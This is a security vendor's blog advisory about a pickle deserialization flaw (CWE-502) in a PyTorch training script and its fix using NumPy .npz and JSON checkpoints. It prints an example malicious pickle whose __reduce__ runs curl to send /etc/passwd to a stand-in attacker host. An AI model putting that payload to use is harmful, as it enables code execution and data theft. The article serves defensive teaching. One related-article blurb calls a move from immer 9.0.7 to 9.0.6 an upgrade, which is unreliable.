Back to Blog
high SEVERITY6 min read

How trailofbits.python.pickles-in-pytorch.pickles-in-pytorch happens in Python/PyTorch and how to fix it

A high-severity deserialization vulnerability was fixed in `skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py` where `torch.save()` was used to serialize model checkpoints. Because PyTorch's save mechanism relies on Python's `pickle` module internally, any checkpoint file loaded later could execute arbitrary code. The fix replaces `torch.save()` with `np.savez()` for model weights and a JSON file for metadata, eliminating the pickle-based serialization entirely.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 25, 2026•Reviewed August 25, 2026

Answer Summary

This is a pickle deserialization vulnerability (CWE-502) in Python/PyTorch where `torch.save()` at line 143 of `trainer.py` serializes model checkpoints using pickle, which can execute arbitrary code when loaded. The fix replaces `torch.save()` with `np.savez()` for tensor data and `json.dump()` for metadata, removing the pickle attack surface entirely while preserving all checkpoint functionality.

Vulnerability at a Glance

cweCWE-502
fixReplace torch.save() with np.savez() for weights and json.dump() for metadata
riskArbitrary code execution when loading tampered checkpoint files
languagePython
root causetorch.save() uses pickle internally, creating a deserialization attack vector
vulnerabilityUnsafe deserialization via pickle in PyTorch

Introduction

The file skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py handles model training and checkpoint saving for a pre-training pipeline. At line 143, the torch.save() call serialized a checkpoint dictionary containing model weights, optimizer state, scheduler state, and training metadata. While this is an extremely common pattern in PyTorch codebases, it introduces a high-severity security risk: every .pt file saved with torch.save() is a pickle file, and pickle files can execute arbitrary Python code when loaded.

This vulnerability was flagged by Semgrep using the Trail of Bits rule trailofbits.python.pickles-in-pytorch.pickles-in-pytorch, and the fix demonstrates a clean migration away from pickle-based serialization without sacrificing functionality.

The Vulnerability Explained

What Makes torch.save() Dangerous?

Under the hood, torch.save() calls pickle.dump(). When the corresponding torch.load() is called later—whether by this same pipeline, a CI system, or another developer—Python's pickle module reconstructs the serialized objects. The critical problem is that pickle can serialize any Python object, including objects with __reduce__ methods that execute arbitrary code during deserialization.

Here's the vulnerable code at line 140-143:

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

The Attack Scenario

Consider this attack chain specific to this trainer pipeline:

  1. An attacker gains write access to the args.out directory (e.g., through a path traversal in another component, a compromised CI artifact store, or a supply-chain attack on a shared storage bucket).
  2. The attacker replaces ckpt_smoke.pt with a crafted pickle file containing a malicious payload—for example, a reverse shell or credential exfiltration script.
  3. When any downstream process calls torch.load("ckpt_smoke.pt"), the malicious code executes with the permissions of the loading process.

A malicious checkpoint could look like this:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com/exfil?data=$(cat /etc/passwd)",))

pickle.dump(Exploit(), open("ckpt_smoke.pt", "wb"))

This is not theoretical—the ML community has documented real-world attacks using poisoned model files distributed through model hubs and shared training infrastructure.

Why This Matters Here

Even though this is a "smoke test" checkpoint (as indicated by the ckpt_smoke.pt filename), the pattern establishes a dangerous precedent. If developers copy this pattern for production checkpoints, or if automated systems load these files without validation, the attack surface expands significantly. The fact that optimizer and scheduler state dicts are also serialized means the pickle contains complex nested objects—more surface area for exploitation.

The Fix

The fix replaces the single torch.save() call with two safer serialization mechanisms:

Before (Vulnerable)

ckpt = {"model": model.state_dict(), "optimizer": opt.state_dict(),
        "scheduler": sched.state_dict(), "step": args.steps, "tokens_seen": None}
torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt"))

After (Hardened)

np.savez(os.path.join(args.out, "ckpt_smoke.npz"),
         **{k: v.detach().cpu().numpy() for k, v in model.state_dict().items()})
with open(os.path.join(args.out, "ckpt_smoke_meta.json"), "w") as fmeta:
    json.dump({"step": args.steps, "tokens_seen": None}, fmeta)

What Changed and Why

  1. Model weights → NumPy .npz format: The np.savez() function stores arrays in a ZIP archive of .npy files. NumPy's format is a simple binary format with a fixed header followed by raw array data—it cannot execute code during loading. The dictionary comprehension {k: v.detach().cpu().numpy() for k, v in model.state_dict().items()} converts each PyTorch tensor to a NumPy array, preserving the parameter names as keys.

  2. Metadata → JSON: Training metadata (step count, tokens_seen) is now stored in a plain JSON file. JSON parsing cannot trigger code execution, making it inherently safe for untrusted data.

  3. Optimizer and scheduler state removed: The fix deliberately drops the optimizer and scheduler state from the checkpoint. For a smoke test checkpoint, this is acceptable—these states are only needed for resuming training, not for validating that training ran correctly.

Security Improvement

Aspect Before After
Serialization format Pickle (arbitrary code execution) NPZ + JSON (data only)
Attack surface Full Python object graph Raw numerical arrays + text
Can execute code on load ✅ Yes ❌ No
File extension .pt (opaque binary) .npz + .json (inspectable)

Key Takeaways

  • torch.save() at line 143 of trainer.py was a pickle-based serialization call that could enable arbitrary code execution if the saved checkpoint was later loaded from a tampered source.
  • NumPy's .npz format is a safe alternative for tensor data because it stores raw numerical arrays without any object serialization capability.
  • Separating metadata into JSON makes the checkpoint inspectable and eliminates any code execution risk for non-tensor data.
  • Even "smoke test" checkpoints establish patterns—developers copy patterns they see in codebases, so hardening even low-risk paths prevents pattern propagation.
  • The optimizer and scheduler state were intentionally dropped, demonstrating that security fixes sometimes require rethinking what data actually needs to be persisted.

How Orbis AppSec Detected This

  • Source: Model training output at the end of the main() function in trainer.py, where model.state_dict(), opt.state_dict(), and sched.state_dict() are collected into a dictionary.
  • Sink: torch.save(ckpt, os.path.join(args.out, "ckpt_smoke.pt")) at line 143 of skills/packs/pipeline-phase-5-pretrain-code/scripts/trainer.py
  • Missing control: No validation of the serialization format; pickle was used implicitly through torch.save() without any safer alternative or integrity verification.
  • CWE: CWE-502 (Deserialization of Untrusted Data)
  • Fix: Replaced torch.save() with np.savez() for model weights and json.dump() for metadata, completely eliminating pickle from the serialization path.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This fix demonstrates that even ubiquitous patterns in machine learning code—like torch.save()—can harbor serious security risks. The pickle deserialization vulnerability in trainer.py was a latent exploit primitive: not independently exploitable today, but a building block that automated attack tools could chain with other weaknesses. By migrating to NumPy's .npz format and JSON metadata, the checkpoint remains fully functional while the arbitrary code execution vector is completely eliminated. As ML pipelines become more complex and interconnected, treating model files as potential attack vectors—not just data—is essential for secure AI development.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

high

js-yaml 5.2.1 DoS: Exponential Parsing in Flow Collections

A denial-of-service vulnerability in js-yaml 5.2.1 allows an attacker to crash the parser by supplying deeply nested flow collections that trigger exponential parsing behavior. The fix in version 5.2.2 improves the parser's handling of these structures, preventing the algorithmic complexity attack. This is critical for any service accepting user-controlled YAML input.

high

Anthropic API Adapter Prototype Pollution in parseToolCallInput

The `parseToolCallInput` function in the Anthropic API adapter used `JSON.parse` without protecting against prototype pollution keys. An attacker who could manipulate API responses—through a man-in-the-middle attack, compromised Codex backend, or DNS spoofing—could inject `__proto__`, `constructor`, or `prototype` properties to pollute JavaScript's Object prototype and affect extension runtime behavior.

high

load_localStorage.js JSON Parse: Prototype Pollution via __proto__

The load_localStorage.js utility parsed JSON configuration without validating keys, permitting prototype pollution through malicious `__proto__`, `constructor`, or `prototype` properties. An attacker with filesystem access could poison downstream JavaScript execution by injecting these special keys into the loaded data structure.

critical

How Arbitrary Code Execution Happens in protobufjs and How to Fix It

CVE-2026-41242 is a critical vulnerability in protobufjs versions 8.0.0 and earlier that allows attackers to execute arbitrary code by injecting malicious type fields into protobuf definitions. The fix upgrades the dependency from `^8.0.0` to `^8.6.6` in `core/package.json`, eliminating the unsafe code path that processed attacker-controlled type metadata without validation.

critical

How Type Confusion Vulnerabilities Happen in JavaScript Dependencies and How to Fix Them

A critical type confusion vulnerability (CVE-2021-23436) was discovered in immer 9.0.7, a popular immutable state management library used in the client application. By upgrading to immer 9.0.6, the vulnerability was patched, eliminating a flaw that could have allowed attackers to bypass previous security fixes (CVE-2020-28477). This fix demonstrates why keeping dependencies current is essential for maintaining application security.

critical

How Prototype Pollution Happens in i18next-fs-backend and How to Fix It

A critical prototype pollution vulnerability (CVE-2026-48713) was discovered in i18next-fs-backend versions prior to 2.6.6, where specially crafted missing-key strings could pollute the JavaScript object prototype. This fix upgrades the dependency to patch the vulnerability and prevent attackers from injecting malicious properties into application objects.